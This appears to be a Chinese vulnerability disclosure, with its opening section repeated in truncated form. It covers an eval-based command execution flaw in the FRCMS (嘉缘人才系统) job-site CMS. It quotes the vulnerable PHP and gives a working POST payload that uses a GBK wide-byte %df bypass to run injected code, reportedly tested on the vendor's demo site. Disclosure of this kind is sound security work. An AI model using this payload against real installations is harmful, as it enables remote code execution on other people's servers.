### 简要描述: 嘉缘人才系统最新版命令执行 ### 详细说明: 漏洞出现在frcms/inc/common.inc.php ``` function gbktoutf8($str=''){ global $cfg; if($cfg['charset']=='gbk'){ return eval('return '.iconv('gbk','utf-8',var_export($str,true)).';'); //return @iconv('gbk', 'utf-8', $str); }else{ return $str; } } ``` 这个函数用到了eval将字符编码从gbk转为utf8,若$str可控,就可以构造出命令执行漏洞。 全局搜索代码,终于找到了一个利用的点: /member/company_map.php 代码如下: ``` if($do=='savemap'){ $map = preg_replace("/[^0-9,:\.-]/i",'',$map); if($map==''){ showmsg('请先在地图上标注!',"-1",0,2000);exit(); }else{ $mapid=0; $maps=explode(':',$map); if(count($maps)>1){ $mapss=explode(',',$maps[1]); }else{ showmsg('地图坐标数据异常!',"-1",0,2000);exit(); } $post_data = array('title' => $name,'address' => $address,'ak' => $cfg['baiduak'],'latitude' => trim($mapss[1]),'longitude' => trim($mapss[0]),'coord_type' => 3,'geotable_id' => $cfg['geotable_id']); require_once(FR_ROOT.'/inc/map.inc.php'); $bmap=new baidu_map(); if($rs=$db->get_one("select * from {$cfg['tb_pre']}member_map where m_mid=$Memberid")){...
### 简要描述: 嘉缘人才系统最新版命令执行 ### 详细说明: 漏洞出现在frcms/inc/common.inc.php ``` function gbktoutf8($str=''){ global $cfg; if($cfg['charset']=='gbk'){ return eval('return '.iconv('gbk','utf-8',var_export($str,true)).';'); //return @iconv('gbk', 'utf-8', $str); }else{ return $str; } } ``` 这个函数用到了eval将字符编码从gbk转为utf8,若$str可控,就可以构造出命令执行漏洞。 全局搜索代码,终于找到了一个利用的点: /member/company_map.php 代码如下: ``` if($do=='savemap'){ $map = preg_replace("/[^0-9,:\.-]/i",'',$map); if($map==''){ showmsg('请先在地图上标注!',"-1",0,2000);exit(); }else{ $mapid=0; $maps=explode(':',$map); if(count($maps)>1){ $mapss=explode(',',$maps[1]); }else{ showmsg('地图坐标数据异常!',"-1",0,2000);exit(); } $post_data = array('title' => $name,'address' => $address,'ak' => $cfg['baiduak'],'latitude' => trim($mapss[1]),'longitude' => trim($mapss[0]),'coord_type' => 3,'geotable_id' => $cfg['geotable_id']); require_once(FR_ROOT.'/inc/map.inc.php'); $bmap=new baidu_map(); if($rs=$db->get_one("select * from {$cfg['tb_pre']}member_map where m_mid=$Memberid")){ //修改坐标 $post_data['id']=$rs['m_mapid']; $mapresult=json_decode(!$rs['m_mapid']?$bmap->create_poi(gbktoutf8($post_data)):$bmap->update_poi(gbktoutf8($post_data)),true); if($mapresult['status']==0){ $mapid=$mapresult['id']; ``` $mapresult=json_decode(!$rs['m_mapid']?$bmap->create_poi(gbktoutf8($post_data)):$bmap->update_poi(gbktoutf8($post_data)),true); 这里直接把$post_data带入了gbktoutf8函数中,从代码中可以看到,$post_data是由其他几个参数构成的一个数组。由于这套cms有一个类似全局注册变量的机制,所以我们可以控制这些参数。这里我们可以控制$name来构造命令执行,由于全局开了转义,默认GBK编码,可以通过宽字节%df把转义符吃掉。 我们注册一个企业账户 ``` post请求 http://localhost/frcms/member/?m=company_map&do=savemap&map=2:1 data: name=a%df'.phpinfo(), %23 ``` ### 漏洞证明: 这里以官方demo站为例 [<img src="https://images.seebug.org/upload/201506/0910250155144cc076362613b3f413ec61fa35ac.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/0910250155144cc076362613b3f413ec61fa35ac.png) [<img src="https://images.seebug.org/upload/201506/0910294054f332690e332ed8e6ee914aa689d6e0.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/0910294054f332690e332ed8e6ee914aa689d6e0.png)